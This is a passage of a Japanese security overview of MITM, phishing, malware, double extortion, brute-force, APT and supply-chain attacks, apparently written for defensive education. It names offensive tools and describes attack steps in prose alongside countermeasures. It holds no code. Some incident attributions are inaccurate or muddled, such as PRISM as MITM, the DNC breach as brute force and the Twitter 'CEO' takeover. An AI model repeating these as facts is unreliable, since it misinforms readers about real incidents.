- 用途: 攻撃者がHTTPS通信をHTTPにダウングレードさせ、暗号化されていない通信をキャプチャするためのツールである。これにより、機密情報(ユーザー名、パスワードなど)を盗み取ることが可能となる。
- 対策: SSL/TLSを強制する設定(HSTSやHTTPS)をサーバーで導入し、ブラウザがHTTPからHTTPSにダウングレードしないようにする。
- ⚔️Cain and Abel
- 用途: パスワードのキャプチャや復号化を行うツール。MITM攻撃の一環として、ネットワーク内でのパスワードハッシュを傍受してクラックすることが可能である。
- 対策: 強力なパスワードの使用、及びSSL/TLSを利用してパスワードを暗号化する。
- ⚔️Man-in-the-Middle (MITM) Proxy
- 用途: 攻撃者がターゲットとサーバー間の通信を変更したり監視したりするために使われるプロキシサーバー。ツールとしては、Burp SuiteやFiddler、mitmproxyがあり、これらはSSL/TLS通信も復号することが可能である。
- 対策: サーバー側で強力なTLS証明書を使用し、クライアント側で証明書ピンニングを行うこと。
- ⚔️ARP Spoofing / ARP Poisoning
- 用途: ネットワーク内で、ターゲットとゲートウェイ間のARPテーブルを操作し、通信を偽装することでMITM攻撃を実行する。これにより、通信内容を傍受したり、データを改竄することが可能である。
- 対策: 静的ARPエントリを設定したり、ARPキャッシュの定期的な確認を行うこと。
🕵️♂️MITM攻撃の手法
- ⚔️ARP Spoofing / Poisoning:
- 攻撃者は、ターゲットのネットワーク上でARP(Address Resolution Protocol)を使って、ターゲットデバイスとゲートウェイの間の通信を乗っ取る。攻撃者は、ターゲットに偽のMACアドレスを送りつけ、通信を傍受する。
- ⚔️DNS Spoofing / Poisoning:
- DNSサーバーの応答を改竄することで、攻撃者はターゲットを偽のサイトへ誘導する。これにより、悪意のあるサイトで認証情報を盗むことが可能である。
- ⚔️SSL Stripping:
- SSL/TLSを使用した通信を意図的にHTTPにダウングレードさせ、通信内容を暗号化せずに傍受する攻撃である。
- ⚔️SSL Certificate Spoofing:
- 攻撃者は、ターゲットとサーバー間で偽のSSL証明書を送り、クライアントにそれを信じさせる。これにより、攻撃者は暗号化された通信を復号し、情報を盗むことが可能である。
🛡 MITM攻撃に対する対応策
- ✅SSL/TLSの使用:
- すべての機密データの送受信には、SSL/TLSを使用して通信を暗号化する。これにより、MITM攻撃者が通信内容を傍受しても、内容を理解できなくなる。
- ✅証明書ピンニング:
- 証明書ピンニングを行い、特定のSSL証明書しか受け入れないようにすることで、MITM攻撃者が偽の証明書を使用しても通信を成立させないようにする。
- ✅HSTS (HTTP Strict Transport Security):
- サーバー側でHSTSを設定することで、クライアント(ブラウザ)がHTTPS接続を強制し、通信が常に暗号化されるようにする。
- ✅ネットワーク内での通信監視:
- ネットワーク内の不審なARPパケットやDNSリクエストを監視し、MITM攻撃の兆候を検出するツールを使用する。
- ✅強力な認証とセッション管理:
- セッションIDやクッキーを暗号化し、クライアントとサーバー間のセッションが改竄されることを防ぐ。また、HTTPOnly、Secure属性をクッキーに設定して、クライアント側での攻撃を防ぐ。
- ✅多要素認証 (MFA):
- MFAを導入することで、たとえMITM攻撃によってパスワードが盗まれても、不正アクセスを防ぐ。
- ✅ネットワークセグメンテーション:
- 社内ネットワーク内でのMITM攻撃を防ぐために、ネットワークをセグメント化し、攻撃者が侵入した場合でも、被害を最小限に抑えることが可能である。
🔍MITM攻撃の事例:
- 2013年「NSAのPRISM計画」: 国家安全保障局(NSA)がMITM攻撃を利用して通信を監視。
- 2018年 Evil Twin Wi-Fi攻撃 (米国): 偽Wi-Fiを用いたMITM攻撃が企業の従業員を標的。
- 2020年 WhatsApp MITM攻撃 (2020, グローバル): 暗号化の弱点を突き、メッセージの盗聴が可能に。
MITM攻撃は、攻撃者がクライアントとサーバー間の通信を盗聴・改竄する攻撃である。WiresharkやEttercap、SSLStripなどのツールを使って通信を傍受したり、改竄することが可能である。これに対する対策として、SSL/TLSの使用、証明書ピンニング、HSTS、強力な認証などが有効である。
💥Phishing (フィッシング)
概要: Phishing (フィッシング) 攻撃 は、攻撃者が信頼できる組織やサービスを偽装し、ターゲットに対して個人情報や認証情報を盗み取る攻撃手法である。通常、偽のウェブサイトや電子メールを使ってユーザーを騙し、ログイン情報、クレジットカード番号、個人情報などを入力させることを目的とする。
🛠 フィッシング攻撃に使われるツールや手法
- ⚔️Social Engineering Toolkit (SET)
- 用途: フィッシング攻撃を実行するためのツールキット。SETは、電子メールを偽装してユーザーに偽のウェブサイトを訪問させ、個人情報を盗み取る攻撃を支援する。例えば、特定のURLを送信し、そのURLがターゲットのログイン情報を収集するページにリダイレクトされるようにする。
- ✅対策: 不審なリンクをクリックしないようにし、送信元の信頼性を確認する。URLが公式なものであることを確認する。
- ⚔️Phishing Kits
- 用途: 攻撃者が簡単にフィッシングサイトを構築するために使うテンプレートです。これらのキットは、銀行、SNS、電子メールプロバイダーなど、広く利用されるサービスを模倣した偽のウェブサイトを素早く作成できるため、攻撃者によって広く使われてる。
- ✅対策: フィッシングサイトを疑う兆候(ドメイン名の微妙な違い、HTTPSの不使用など)に注意を払い、公式サイトに直接アクセスするよう心がける。
- ⚔️Evilginx2
- 用途: フィッシングとMITM(Man-in-the-Middle)攻撃を組み合わせたツールで、ターゲットのログイン情報やクッキーを盗むことができる。ターゲットが正規のサイトにログインしようとすると、Evilginx2がセッションを中継し、ユーザー名やパスワードを盗んでセッションIDまで取得する。これにより、二段階認証を回避することも可能である。
- ✅対策: 二段階認証(2FA)を有効にし、セッションハイジャックに備える。フィッシングリンクにアクセスしないようにする。
- ⚔️PhishTank
- 用途: フィッシングサイトを検出してリストアップするオンラインサービスである。攻撃者が作成したフィッシングサイトがブラックリストに登録され、ユーザーが安全なサイトを識別できるようになる。
- ✅対策: 自身がアクセスするウェブサイトの信頼性を確認するために、フィッシングサイトリストを参照する。
- ⚔️Fake DNS Servers
- 用途: 攻撃者が偽のDNSサーバーを設定して、ターゲットを偽のウェブサイトにリダイレクトさせる手法である。ユーザーが正規のウェブサイトを訪問しようとすると、攻撃者の設定したDNSサーバーが偽のサイトに誘導する。
- ✅対策: DNSサーバーの設定を確認し、信頼できるDNSプロバイダーを使用する。
- ⚔️Spear Phishing
- 用途: 一般的なフィッシングよりもターゲットを絞った攻撃で、特定の個人や組織を狙う。攻撃者はターゲットに関する情報(SNSやウェブサイトなどから)を収集し、その情報を基に信頼性のあるメールを送信する。これによりターゲットがメールを信じやすくなる。
- ✅対策: 個人情報の過度な公開を避け、SNSのセキュリティ設定を強化する。
- ⚔️Whaling
- 用途: 高位職の経営者や役員などをターゲットにしたフィッシング攻撃です。攻撃者は企業の役員や管理職などに対して、ビジネスに関連する偽のメールやリンクを送信し、機密情報を盗みます。
- ✅対策: 組織内でフィッシング攻撃への警戒を強化し、従業員に教育を行う。また、企業の重要な情報には二段階認証を導入する。
🕵️♂️フィッシング攻撃の流れ
- ⚔️偽装したメール送信: 攻撃者は、銀行や有名な企業からの正当なメールを偽装して、ターゲットに送信する。メールには、「アカウントが不正にアクセスされた」「パスワードのリセットが必要」などの警告メッセージが含まれている。
- ⚔️リンククリックや添付ファイルのダウンロード: メール内のリンクをクリックすると、ターゲットは攻撃者が作成した偽のウェブサイトにリダイレクトされる。このサイトは、正規のサイトに非常に似ているため、ターゲットは気づかずに情報を入力してしまう。
- ⚔️情報入力: 偽のウェブサイトで要求される情報(ユーザー名、パスワード、クレジットカード情報など)を入力すると、その情報は攻撃者のサーバーに送信され、悪用される。
- ⚔️情報の悪用: 攻撃者は盗んだ情報を使って、不正にアカウントにアクセスしたり、金銭を盗んだりする。特に、クレジットカードや銀行口座の情報は迅速に使われることが多い。
🛡 フィッシング攻撃に対する対応策
- ✅疑わしいリンクに注意: メールに記載されたリンクをクリックする前に、リンク先が正規のものかどうかを確認する。URLに小さな違い(例: google.com → gogle.com)がある場合、それはフィッシングサイトの兆候である。
- ✅二段階認証(2FA)の利用: パスワードだけではなく、認証アプリやSMSを使って二段階認証を設定することで、フィッシング攻撃を防ぐ。万が一、ログイン情報が盗まれても、追加の認証手段でアクセスを防ぐことができる。
- ✅メール送信者の確認: 送信者のメールアドレスや名前が正確であるか、公式のものであるかを確認する。攻撃者はしばしば、似たような名前を使って本物に見せかける。
- ✅リンクのホバー確認: メール内のリンクにカーソルを合わせ、実際のリンク先(ステータスバーやツールチップ)を確認する。リンク先が予期しないURLであれば、クリックしないようにする。
- ✅セキュリティ対策ツールの使用: フィッシング対策用のツールやブラウザ拡張機能を使用して、フィッシングサイトをブロックする。これには、ウイルス対策ソフトやセキュリティプラグインを使用することが含まれる。
- ✅フィッシング訓練と意識の向上: 従業員や個人に対して定期的にフィッシング攻撃に関する教育や訓練を実施し、疑わしいメールに対する警戒を強化する。
- ✅SSL/TLSによる通信の暗号化: 本物のウェブサイトでは、HTTPS(SSL/TLS)を使用して通信を暗号化していることがほとんどだが、フィッシングサイトは通常、HTTP(暗号化されていない)通信を使用するため、URLバーのセキュリティアイコンを確認し、HTTPSで始まるURLが正しいか確認する。
🔍Phishing (フィッシング) 攻撃の事例:
- 2016年「米大統領選ハッキング」: ヒラリー・クリントン陣営のメールアカウントがフィッシング攻撃により侵害。
- 2017年 Google Docsフィッシング (2017, グローバル): Google Docsを装ったフィッシングメールが大規模に拡散。
- 2020年 Twitter社のCEO乗っ取り (2020, 米国): フィッシング攻撃でTwitterの社員が騙され、著名人アカウントが乗っ取られる。
フィッシング攻撃は、攻撃者が信頼できる組織を偽装してターゲットの情報を盗み取る方法である。ツールとしては、Social Engineering ToolkitやPhishing Kitsなどが使われ、特にEvilginx2などのツールを用いてセッションハイジャックや二段階認証の回避が行われることもある。フィッシング攻撃に対する対策としては、リンクを慎重にクリックすること、二段階認証を導入すること、メールの送信者を確認することなどが重要である。
💥Malware (マルウェア)
概要: Malware (マルウェア) とは、悪意のあるソフトウェアで、コンピュータやネットワークに不正アクセスしたり、破壊的な活動を行ったりするために設計されている。マルウェアには、ウイルス、トロイの木馬、ワーム、ランサムウェア、スパイウェアなどさまざまな種類がある。マルウェアの攻撃に使用される具体的なツールや手法、そしてそれに対する対応策について以下に記載する。
🛠 マルウェア攻撃に使われる具体的なツールや手法
⚔️1. バックドア (Backdoor)
- 用途: バックドアは、正規の認証を回避し、攻撃者がターゲットのシステムにリモートでアクセスできるようにする不正なプログラムである。これにより、攻撃者はシステム内で自由に操作を行うことができる。
- 例: 「Netcat」や「Weevely」などのツールを使ってバックドアをインストールすることがある。
- 対応策: ファイアウォールやIDS(Intrusion Detection System)を使用して異常な通信を検出し、常にシステムを最新の状態に保つことが有効である。
⚔️2. ランサムウェア (Ransomware)
- 用途: ランサムウェアは、ターゲットのシステム内のデータを暗号化し、復号鍵を得るために身代金を要求するタイプのマルウェアである。
- 例: 「WannaCry」や「Ryuk」などのランサムウェアは、企業や個人に大きな損害を与えた事例がある。
- 対応策: 定期的なバックアップの実施、ソフトウェアの脆弱性の早期修正、アンチウイルスソフトの導入が重要である。また、不審なメールの添付ファイルを開かないことも予防策となる。
⚔️3. トロイの木馬 (Trojan Horse)
- 用途: トロイの木馬は、一見無害なプログラムやファイルに見せかけて、ユーザーがそれを実行すると悪意のある動作を引き起こす。バックドアのようにシステムへのアクセスを可能にする場合もある。
- 例: 「Emotet」や「Zeus」などは、トロイの木馬として使われ、フィッシングメールを通じて感染する。
- 対応策: メールの添付ファイルやリンクを慎重にクリックすること、アンチウイルスソフトやファイアウォールの設定を適切に行うことが重要である。
⚔️4. ワーム (Worm)
- 用途: ワームは、自己複製するマルウェアで、ネットワークを介して他のシステムに感染する。特に、インターネットに接続されているシステムをターゲットにする。
- 例: 「Conficker」などのワームは、ネットワーク経由で広がり、感染したシステムをリモートで操作可能にする。
- 対応策: OSやソフトウェアのセキュリティパッチを定期的に適用し、感染拡大を防ぐことが有効である。また、ネットワーク内での不正アクセスを防ぐために適切なセキュリティ設定を行うことが必要である。
⚔️5. スパイウェア (Spyware)
- 用途: スパイウェアは、ターゲットのコンピュータに秘密裏にインストールされ、ユーザーの行動や入力を監視して情報を外部に送信する。特に、金融情報やパスワードを盗むために使用される。
- 例: 「Keylogger」や「Adware」などが含まれ、これらはターゲットの操作を監視し、個人情報を盗む。
- 対応策: 定期的にアンチスパイウェアを実行し、ウェブサイトやダウンロードを注意深く管理することが大切である。
⚔️6. アドウェア (Adware)
- 用途: アドウェアは、ターゲットに広告を強制的に表示するソフトウェアで、通常は無害に見えますが、ユーザーのブラウジング行動を監視し、個人情報を盗む場合もある。
- 例: インストールされたアプリケーションや拡張機能が表示するポップアップ広告がこれに該当する。
- 対応策: 広告ブロックツールの使用や、不要なブラウザ拡張機能を削除することで予防できる。
⚔️7. ボットネット (Botnet)
- 用途: ボットネットは、複数の感染したコンピュータをネットワークで制御し、攻撃者がリモートでこれらのコンピュータを使ってDDoS攻撃やスパムメールの送信などを行うものである。
- 例: 「Mirai」ボットネットは、IoTデバイスを利用して大規模なDDoS攻撃を行った。
- 対応策: IoTデバイスやサーバーのセキュリティ強化、最新のファームウェアへのアップデートが重要である。また、DDoS攻撃に備えて、ネットワークのトラフィックを監視することが役立つ。
🛡 マルウェアに対する対応策
✅1. アンチウイルス・アンチマルウェアソフトの導入
- アンチウイルスやアンチマルウェアソフトをインストールし、常に最新の定義ファイルを保つことが、マルウェアを検出し排除する第一歩である。
✅2. パッチ管理
- オペレーティングシステムやソフトウェアの脆弱性を突くマルウェアを防ぐために、定期的にセキュリティパッチを適用する。
✅3. ネットワークセキュリティ
- ファイアウォール、IDS(侵入検知システム)、IPS(侵入防止システム)を導入し、不審なネットワーク活動を検出して防止する。
✅4. バックアップの実施
- 定期的にデータのバックアップを取り、ランサムウェア攻撃などの影響を最小限に抑えるようにする。バックアップはオフラインで保管することが望ましい。
✅5. ユーザー教育
- マルウェアの感染を防ぐために、ユーザーに対して不審なリンクや添付ファイルを開かないよう教育する。また、インターネットの安全な利用方法やセキュリティ意識を高めることが重要である。
✅6. 多層防御
マルウェア対策には、複数の防御策を組み合わせて使用することが効果的である。例えば、エンドポイントセキュリティ、ネットワーク監視、定期的なセキュリティスキャンなど、複数の手法で防御する。
🔍マルウェア攻撃の事例:
- 2014年~ Emotet ( グローバル): 銀行情報を盗むマルウェア。2021年に一時壊滅も、2022年に復活。
- 2012年~ Flame (中東): 国家レベルのサイバースパイ活動に使用されたマルウェア。
- 2021年「Colonial Pipeline攻撃」: 米国最大級のパイプライン運営会社がランサムウェア攻撃を受け、事業停止。
- 2017年「WannaCry」: WindowsのSMBv1の脆弱性を突いたランサムウェア攻撃。150カ国以上に被害。
- 2022年〜2024年 日本の医療機関へのランサムウェア攻撃 : 日本国内の病院が標的となり、電子カルテが使用不能になった事例が報告。
- 2023年 MGMリゾート攻撃 : ランサムウェア攻撃によりホテルのシステムが停止、宿泊客に大きな影響。
- 2024年 角川ドワンゴ攻撃 : ランサムウェア攻撃によりプライベートクラウドの仮想環境のシステムが停止、ニコニコ動画ユーザに大きな影響
- 2025年 サンリオエンターテイメント : ランサムウェア攻撃により顧客情報の流出。
マルウェアは多岐に渡る種類があり、それぞれ異なる方法でシステムに侵入し、情報を盗んだり破壊的な活動を行う。主な対策としては、アンチウイルスソフトの使用、定期的なパッチ適用、ユーザー教育、バックアップ、ネットワークセキュリティの強化が挙げられる。これらの対策を講じることで、マルウェアによる被害を最小限に抑えることが可能となる。
💥Double Extortion(ダブルエクストーション)
概要: Double Extortion(ダブルエクストーション) は、ランサムウェア攻撃の進化した形態の一つで、攻撃者が標的に対して2段階の脅迫を行う攻撃手法である。この手法は、最初にデータを暗号化し、次にそのデータを公開すると脅し、身代金を要求します。これにより、被害者はデータの損失と情報漏洩の両方のリスクに直面する。
🛠 ダブルエクストーションの攻撃手法とツール
⚔️1. 最初の脅迫: データの暗号化
- 攻撃者の手法: 最初のステップでは、攻撃者がターゲットシステムにランサムウェアを感染させ、ファイルを暗号化する。この暗号化によって、ターゲットはファイルにアクセスできなくなり、身代金を支払うように要求される。
- 使用されるランサムウェアツール:
- Ryuk: 高額な身代金を要求することで知られるランサムウェアで、企業をターゲットにすることが多い。
- Conti: 高度なランサムウェアで、組織に対して効率的に攻撃を仕掛けることが可能である。
- Maze: 初期のダブルエクストーション攻撃を始めたランサムウェアで、データの暗号化と情報漏洩を組み合わせた脅迫を行う。
⚔️2. 第二の脅迫: 情報の公開
- 攻撃者の手法: データが暗号化された後、攻撃者はさらに次の段階を加え、暗号化されたデータを公開する、またはオンラインで拡散する。これにより、機密情報が外部に漏れたり、顧客や取引先に悪影響を与える恐れが出てくる。
- データ漏洩を脅かす手法:
- ウェブサイトやダークウェブでのデータ公開: 攻撃者は、ターゲットの機密情報(顧客データ、財務情報、契約内容など)をダークウェブや専用の公開サイトで公開し、そのデータが漏洩するリスクを引き起こす。
- 「データ漏洩プラットフォーム」の利用: 攻撃者は、MazeやContiなどが運営する公開データベースにターゲットの情報をアップロードし、企業が身代金を支払わない限り情報を公開し続ける脅しを行う。
⚔️3. ソーシャルエンジニアリングとフィッシング
- 攻撃者の手法: 攻撃者はフィッシングメールを利用して、ターゲットにランサムウェアを感染させる場合が多い。これにより、最初の感染が発生し、後にダブルエクストーション攻撃へと繋がる。
- 具体的な手法:
- 偽の請求書や税務書類を装ったフィッシングメールでマルウェアを送り、ユーザーが添付ファイルを開くとランサムウェアがシステムに感染する。
- 社内のネットワークにアクセスするための認証情報を盗むために、従業員や役員をターゲットにする高度なフィッシング攻撃(「ビジネスメール詐欺」)が利用されることもある。
⚔️4. ツールとテクニック
- Cobalt Strike: Cobalt Strikeは、ペネトレーションテストツールであり、悪用されることも多いツールである。これを使って攻撃者は標的のシステムに侵入し、ランサムウェアを展開する。
- PowerShell: PowerShellは、Windowsシステム内でのリモートコード実行に使用されるツールで、ランサムウェア攻撃を実行するために悪用される可能性がある。
🛡 ダブルエクストーションに対する対応策
✅1. 定期的なバックアップとオフラインバックアップ
- 対応策: 最も基本的で重要な対策は、定期的にバックアップを取り、オフラインで保管することです。バックアップが安全な場所にあれば、ランサムウェアに感染しても復元することが可能である。
- クラウドバックアップや外部ストレージにバックアップを定期的に保管し、バックアップが感染しないように保護することが不可欠である。
✅2. セキュリティパッチの適用
- 対応策: システムやソフトウェアに脆弱性をつく攻撃が多いため、OSやアプリケーションのセキュリティパッチを速やかに適用することが重要である。これにより、ランサムウェアの感染を防ぐことが可能である。
✅3. 多要素認証 (MFA) の導入
- 対応策: 多要素認証(MFA)を導入することで、攻撃者がシステムにアクセスするためには複数の認証要素が必要となり、アカウントの乗っ取りを防止することができる。特に、リモートアクセスや管理者アカウントへのアクセスに対しては、MFAを強制すべきである。
✅4. ネットワーク分離とセグメンテーション
- 対応策: ネットワークのセグメンテーションを行い、攻撃者が1つのシステムにアクセスしても、他のシステムに広がらないようにする。これにより、ランサムウェアの感染拡大を防ぐことが可能である。
✅5. フィッシング対策と教育
- 対応策: フィッシング攻撃を防ぐためには、社員やユーザーに対してフィッシングのリスクを理解させ、疑わしいリンクや添付ファイルを開かないように教育することが非常に重要である。これには定期的なトレーニングが役立つ。
✅6. 侵入検知システム(IDS)や侵入防止システム(IPS)の導入
- 対応策: IDSやIPSを導入して、悪意のある活動や不正アクセスを監視し、早期に検出することができます。これにより、ランサムウェアの感染を早期に発見し、被害を最小限に抑えることが可能である。
✅7. ダークウェブモニタリング
- 対応策: 攻撃者がデータをダークウェブで公開する前に、ダークウェブのモニタリングを行うことで、早期に情報漏洩の兆候をキャッチし、対応を取ることが可能である。
✅8. ランサムウェアの拡散を防ぐソフトウェアの導入
- 対応策: ランサムウェアの拡散を防ぐために、攻撃者の悪意ある挙動を検出するためのエンドポイント保護ソフトウェアや、攻撃の兆候を検出するセキュリティソリューションを導入する。
ダブルエクストーション攻撃の事例:
- 2021年 REvil : 大手IT企業や製造業を標的にし、データを盗んだ上で身代金を要求する手法を採用。
- 2022年 Medibank攻撃 : オーストラリアの大手保険会社が標的となり、顧客の医療データが窃取され公開される事態に。
ダブルエクストーション攻撃は、ランサムウェアの進化した形態で、暗号化とデータ公開の2段階で攻撃を行う。この攻撃に対する対応策としては、定期的なバックアップ、セキュリティパッチの適用、MFAの導入、ネットワークセグメンテーション、フィッシング対策、侵入検知システムの導入、ダークウェブモニタリングなどが有効である。企業や個人は、これらの対策を積極的に取り入れることで、ダブルエクストーション攻撃のリスクを大幅に減らすことが可能である。
💥Brute Force Attack (ブルートフォース攻撃)
概要: Brute Force Attack(ブルートフォース攻撃)**は、システムのパスワードや暗号化されたデータに対して、あらゆる可能性のある組み合わせを試すことで不正アクセスを試みる攻撃手法である。この攻撃は、パスワードや暗号鍵が十分に強力でない場合に特に有効で、攻撃者は辞書攻撃や全探索によってシステムにアクセスを試みる。
🛠 ブルートフォース攻撃に使われる具体的なツールと手法
⚔️1. ツール
- Hydra: 高速で強力なブルートフォースツールで、さまざまなプロトコルに対応しており、SSH、FTP、HTTP、RDPなどの認証システムに対してパスワードを総当たり攻撃する。
- John the Ripper: パスワード解析ツールで、特にハッシュ化されたパスワードの解析に強みを持つ。辞書攻撃やブルートフォース攻撃をサポートする。
- Burp Suite: Webアプリケーションの脆弱性を検査するツールで、ログインフォームに対してブルートフォース攻撃を実施できる。
- Aircrack-ng: Wi-Fiネットワークのパスワード解析ツールで、WEPやWPA2の暗号化をブルートフォースで解読するために使用される。
- Medusa: 複数のサービスに対して並列にブルートフォース攻撃を実行することができるツールで、SSHやMySQLなどに対応する。
🕵️♂️2. 攻撃手法
- 辞書攻撃: 事前に用意した辞書ファイルを使って、最も一般的なパスワードを総当たりで試す方法。ブルートフォース攻撃の中で効率的な手法であり、辞書ファイルが多ければ多いほど攻撃が成功する可能性が高くなる。
- 全探索(Brute Force): すべての可能なパスワードの組み合わせを1つずつ試す手法で、長く複雑なパスワードに対しては非常に時間がかかる。
- レインボーテーブル攻撃: パスワードのハッシュ値と、それに対応する元のパスワードのリストを使って、暗号化されたパスワードを解読する方法。レインボーテーブルを使うことで、ブルートフォース攻撃よりも高速にパスワードを解読できる場合がある。
🛡 ブルートフォース攻撃に対する対応策
✅1. 強力なパスワードの設定
- 対応策: 短くて単純なパスワードではなく、長く複雑なパスワードを設定する。推測されにくいパスワードを選ぶことで、ブルートフォース攻撃に対する耐性が高まる。推奨されるパスワードの特徴は、英大文字、英小文字、数字、記号を組み合わせた12文字以上の長さである。
✅2. 多要素認証(MFA)の導入
- 対応策: パスワードだけではなく、追加の認証手段を必要とする多要素認証(MFA)を導入することで、仮にパスワードがブルートフォース攻撃で解読されても、攻撃者は別の認証手段を突破しなければならなくなり、セキュリティが強化される。
✅3. アカウントロックアウトの設定
- 対応策: 認証試行回数の制限を設定し、一定回数以上のログイン失敗があった場合にアカウントを一時的にロックする。これにより、ブルートフォース攻撃を行う際の試行回数が制限され、攻撃者が次の試行を行うまでの時間を稼ぐことができる。
✅4. CAPTCHA(キャプチャ)の導入
- 対応策: ログインフォームや認証ページにCAPTCHAを導入し、自動化されたブルートフォース攻撃を防止する。これにより、攻撃者は手動で認証を試みる必要があり、攻撃の効率が大幅に低下する。
✅5. 暗号化の強化
- 対応策: パスワードや通信の暗号化を強化し、ブルートフォース攻撃に耐性のある暗号化方式を採用する。例えば、パスワードのハッシュ化には「bcrypt」や「PBKDF2」などの強力なアルゴリズムを使用することが推奨される。
✅6. IPアドレス制限
- 対応策: 同一IPアドレスからの短時間での複数の認証失敗を検出し、そのIPアドレスをブロックする。これにより、攻撃者が同じIPアドレスから繰り返しブルートフォース攻撃を試みることを防ぐ。
✅7. ログ監視とアラートの設定
- 対応策: 認証に失敗したログイン試行を監視し、異常な試行があった場合に即座にアラートを発生させる。ログイン試行の監視を行うことで、ブルートフォース攻撃の兆候を早期に発見でき、迅速に対応できる。
✅8. レートリミッティング
- 対応策: ログイン試行や認証リクエストに対して、時間当たりの制限(レートリミット)を設けることで、ブルートフォース攻撃の効率を低下させる。これにより、攻撃者が短時間で大量のリクエストを送ることが困難になる。
Brute Force Attack (ブルートフォース攻撃)の事例:
- 2016年 DNCハッキング (2016, 米国): ロシアのハッカーがDNCのメールサーバーをブルートフォース攻撃で侵害。
ブルートフォース攻撃は、パスワードや暗号化されたデータを総当たりで解読する攻撃手法であり、強力なツールを使って大規模な攻撃を行うことが可能である。対策としては、強力なパスワードの設定、MFAの導入、アカウントロックアウト、CAPTCHA、IPアドレス制限、レートリミッティングなどが効果的である。これらの対策を適切に組み合わせて実施することで、ブルートフォース攻撃からシステムを保護することが可能である。
💥APT (Advanced Persistent Threat, 持続的標的型攻撃)
概要: APT (Advanced Persistent Threat, 持続的標的型攻撃)**は、特定のターゲットを長期間にわたって攻撃し、システムに深く侵入し続ける高度な攻撃手法である。APT攻撃は、特に国家機関や企業をターゲットにし、情報収集や破壊を目的とする。攻撃者は、複数の手法を駆使して侵入し、検出されないように活動を続ける。
🛠 APT攻撃に使われる具体的なツールと手法
⚔️1. ツール
- Cobalt Strike: 攻撃者がリモートでシステムを制御するために使うツールで、ペネトレーションテストでも使われるが、APT攻撃においては非常に有効な攻撃ツールである。バックドアを作成し、ターゲットシステムを持続的に制御する。
- Mimikatz: Windowsシステムにおける資格情報を抽出するツールで、パスワードやハッシュ、証明書などの機密情報を取得するために使用される。APT攻撃では、ターゲットシステムの権限昇格や横移動に使用されることが多い。
- Empire: PowerShellを使用したマルウェアフレームワークで、APT攻撃においてはターゲットシステムにマルウェアをインストールし、リモートコントロールを行うために使用される。
- Meterpreter: Metasploitフレームワーク内で使用されるリモートペイロードで、バックドアの作成、システムへのアクセス、権限昇格などを行うために利用される。
- Netcat: ネットワーク接続を簡単に作成するツールで、APT攻撃者がターゲットシステムとの通信を確立し、データの送受信やリモート制御を行うために使用される。
🕵️♂️2. 攻撃手法
- フィッシング(Phishing): APT攻撃の初期段階として、攻撃者はターゲットに対してフィッシングメールを送信し、マルウェアを含む添付ファイルやリンクをクリックさせる。これにより、最初の侵入が可能になる。
- ソーシャルエンジニアリング: ターゲットの従業員や関係者を騙してシステムへのアクセスを得るために、ソーシャルエンジニアリングを使用する。これには、偽のウェブサイトを作成したり、信頼できる人物を装って情報を引き出したりする方法がある。
- エクスプロイト(Exploit): 脆弱性を利用してターゲットシステムに侵入する。APT攻撃では、ゼロデイ攻撃や未修正の脆弱性を積極的に利用することが多い。
- 横移動(Lateral Movement): 初期侵入後、攻撃者はネットワーク内で移動し、他のシステムにアクセスする。これには、Mimikatzを使ってパスワードハッシュを取得したり、NetcatやCobalt Strikeを使って通信を確立したりする手法が含まれる。
- 持続的アクセス(Persistence): 攻撃者はバックドアを設定し、ターゲットシステムへの持続的なアクセスを確保する。これにより、発見されても攻撃者は再びシステムにアクセスできる状態を保つ。
- 情報収集(Reconnaissance): ターゲットのシステムやネットワークの構造、脆弱性、機密情報を収集し、攻撃の準備を進める。この情報をもとに、攻撃者は次のステップに進む。
- データの抽出(Exfiltration): APT攻撃の最終段階では、攻撃者はターゲットから機密情報を抽出し、外部のサーバーに送信する。このデータは、競争相手に売却したり、他の攻撃に利用されたりする。
🛡 APT攻撃に対する対応策
✅1. ネットワークの監視とアラート設定
- 対応策: ネットワーク内の異常なトラフィックやアクセスパターンを監視することで、APT攻撃を早期に発見する。攻撃者が横移動や情報の抽出を行う際に、異常な通信や権限昇格が発生するため、これを検知するための監視体制を強化する。
✅2. 多要素認証(MFA)の導入
- 対応策: システムへのアクセスに多要素認証(MFA)を導入することで、攻撃者が盗んだパスワードだけではアクセスできないようにする。MFAを使用することで、侵入後のアクセス制限を強化することができる。
✅3. パッチ管理と脆弱性の修正
- 対応策: ソフトウェアやシステムに対する定期的なパッチ管理を実施し、脆弱性を早期に修正する。ゼロデイ攻撃や未修正の脆弱性を狙った侵入を防ぐために、適切なセキュリティアップデートを迅速に適用する。
✅4. アクセス制御と最小権限の原則
- 対応策: ユーザーやシステムのアクセス権を最小限に設定し、重要なデータやシステムには限定されたアクセスのみを許可する。これにより、侵入された場合でも攻撃者の活動範囲を制限できる。
✅5. 従業員へのセキュリティ教育
- 対応策: フィッシング攻撃やソーシャルエンジニアリングに対して、従業員へのセキュリティ教育を行う。従業員が不審なメールやリンクを識別できるようにし、攻撃を未然に防ぐ。
✅6. 検出と応答の体制の強化
- 対応策: 攻撃の兆候を早期に検出するため、侵入検知システム(IDS)やセキュリティ情報イベント管理(SIEM)システムを導入し、攻撃発生時に迅速に対応できる体制を構築する。
✅7. データの暗号化
- 対応策: 重要なデータや通信を暗号化することで、攻撃者が情報を抽出しても内容を解読できないようにする。これにより、データの漏洩を防ぐ。
✅8. バックアップとリカバリ計画
- 対応策: 定期的なバックアップを行い、システムが侵害された場合でも迅速に復旧できるようにする。バックアップはオフラインやクラウド上に安全に保管し、攻撃者に対してデータを奪われるリスクを減らす。
🔍APT (Advanced Persistent Threat, 持続的標的型攻撃)の事例:
- 2015年「日本年金機構の情報流出」: 中国系ハッカーによるAPT攻撃で125万件の個人情報が漏洩。
APT攻撃は、ターゲットを特定し、持続的に攻撃を加える高度な手法であり、複数の攻撃ツールと手法が使用される。対策としては、ネットワーク監視、多要素認証、パッチ管理、最小権限の原則、従業員教育、暗号化、バックアップなどを組み合わせて実施することで、APT攻撃に対する防御力を強化できる。
💥Supply Chain Attack(サプライチェーン攻撃)
概要: Supply Chain Attack(サプライチェーン攻撃)は、ターゲット企業の取引先やパートナー、サービス提供者などを攻撃することで、その企業を間接的に侵害する高度な攻撃手法である。この攻撃方法は、信頼されたサプライチェーン内の弱点を悪用し、最終的にターゲット企業や組織のシステムにアクセスすることを目的としている。
🛠 サプライチェーン攻撃に使われる具体的なツールと手法
⚔️1. ツール
- Backdoor.MacOS.Pirrit: サプライチェーン攻撃の一例として、攻撃者は正当なソフトウェアパートナーや開発者をターゲットにして、バックドアマルウェアをそのソフトウェアに組み込む。このバックドアがシステムにインストールされると、攻撃者はターゲットのネットワークに侵入できる。
